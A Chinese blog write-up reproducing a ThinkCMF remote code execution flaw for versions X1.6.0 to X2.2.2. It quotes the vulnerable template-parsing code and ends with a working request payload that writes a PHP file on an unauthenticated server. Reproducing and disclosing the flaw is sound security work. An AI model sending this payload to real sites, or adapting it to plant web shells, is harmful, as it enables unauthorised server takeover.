ThinkCMF任意包含漏洞复现

  1. 漏洞成因
  2. 漏洞危害
  3. 影响版本
  4. 复现过程
  5. 参考链接

漏洞成因

根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 可以通过如下URL进行访问,并且可以添加GET参数arg1传递给函数。

漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

复现过程

漏洞出在:application\Portal\Controller\IndexController.class.php
首先引用Common\Controller\HomebaseController控制类文件,然后调用display函数

跟入display函数看描述就是可以自定义加载模版,通过$this->parseTemplate 函数根据约定确定模版路径,如果不符合原先的约定将会从当前目录开始匹配。

public function parseTemplate($template='') {

   $tmpl_path=C("SP_TMPL_PATH"); // 前台模板文件根目录 themes/
   define("SP_TMPL_PATH", $tmpl_path);
   if($this->theme) { // 指定模板主题
       $theme = $this->theme;
   }else{
       // 获取当前主题名称
       $theme      =    C('SP_DEFAULT_THEME'); // 前台模板文件 simplebootx
       if(C('TMPL_DETECT_THEME')) {// 自动侦测模板主题
           $t = C('VAR_TEMPLATE'); //默认模板切换变量 t
           if (isset($_GET[$t])){
               $theme = $_GET[$t];
           }elseif(cookie('think_template')){
               $theme = cookie('think_template');
           }
           if(!file_exists($tmpl_path."/".$theme)){ //判断前台模板文件是否存在
               $theme  =   C('SP_DEFAULT_THEME');
           }
           cookie('think_template',$theme,864000);
       }
   }

   $theme_suffix="";

   if(C('MOBILE_TPL_ENABLED') && sp_is_mobile()){//开启手机模板支持

       if (C('LANG_SWITCH_ON',null,false)){
           if(file_exists($tmpl_path."/".$theme."_mobile_".LANG_SET)){//优先级最高
               $theme_suffix  =  "_mobile_".LANG_SET;
           }elseif (file_exists($tmpl_path."/".$theme."_mobile")){
               $theme_suffix  =  "_mobile";
           }elseif (file_exists($tmpl_path."/".$theme."_".LANG_SET)){
               $theme_suffix  =  "_".LANG_SET;
           }
       }else{
              if(file_exists($tmpl_path."/".$theme."_mobile")){
                  $theme_suffix  =  "_mobile";
              }
       }
   }else{
       $lang_suffix="_".LANG_SET;
       if (C('LANG_SWITCH_ON',null,false) && file_exists($tmpl_path."/".$theme.$lang_suffix)){
           $theme_suffix = $lang_suffix;
       }
   }

   $theme=$theme.$theme_suffix; //定义当前语言

   C('SP_DEFAULT_THEME',$theme);

   $current_tmpl_path=$tmpl_path.$theme."/";
   // 获取当前主题的模版路径
   define('THEME_PATH', $current_tmpl_path);

   $cdn_settings=sp_get_option('cdn_settings');
   if(!empty($cdn_settings['cdn_static_root'])){
       $cdn_static_root=rtrim($cdn_settings['cdn_static_root'],'/');
       C("TMPL_PARSE_STRING.__TMPL__",$cdn_static_root."/".$current_tmpl_path);
       C("TMPL_PARSE_STRING.__PUBLIC__",$cdn_static_root."/public");
       C("TMPL_PARSE_STRING.__WEB_ROOT__",$cdn_static_root);
   }else{
       C("TMPL_PARSE_STRING.__TMPL__",__ROOT__."/".$current_tmpl_path);
   }


   C('SP_VIEW_PATH',$tmpl_path);
   C('DEFAULT_THEME',$theme);

   define("SP_CURRENT_THEME", $theme);

   if(is_file($template)) {
      return $template;
   }
   $depr       =   C('TMPL_FILE_DEPR');
   $template   =   str_replace(':', $depr, $template);

   // 获取当前模块
   $module   =  MODULE_NAME;
   if(strpos($template,'@')){ // 跨模块调用模版文件
      list($module,$template)  =   explode('@',$template);
   }

   $module =$module."/";

   // 分析模板文件规则
   if('' == $template) {
      // 如果模板文件名为空 按照默认规则定位
      $template = CONTROLLER_NAME . $depr . ACTION_NAME;
   }elseif(false === strpos($template, '/')){
      $template = CONTROLLER_NAME . $depr . $template;
   }

   $file = sp_add_template_file_suffix($current_tmpl_path.$module.$template);
   $file= str_replace("//",'/',$file);
   if(!file_exists_case($file)) E(L('_TEMPLATE_NOT_EXIST_').':'.$file);
   return $file;
}

由于parseTemplate函数为模板渲染函数,而该函数权限为public。导致可控,最终payload如下:
/?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘test.php’,’<?php phpinfo(); ?>’)

参考链接

https://www.cnblogs.com/ch459742906/p/5949168.html
https://mp.weixin.qq.com/s/3d7YrTq0vFSKXV6u0Hjnnw
https://www.cnblogs.com/0daybug/p/11720575.html


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:ThinkCMF任意包含漏洞复现

本文作者:九世

发布时间:2021-01-09, 15:34:49

最后更新:2021-01-09, 15:42:16

原始链接:http://422926799.github.io/posts/3656eb8c.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录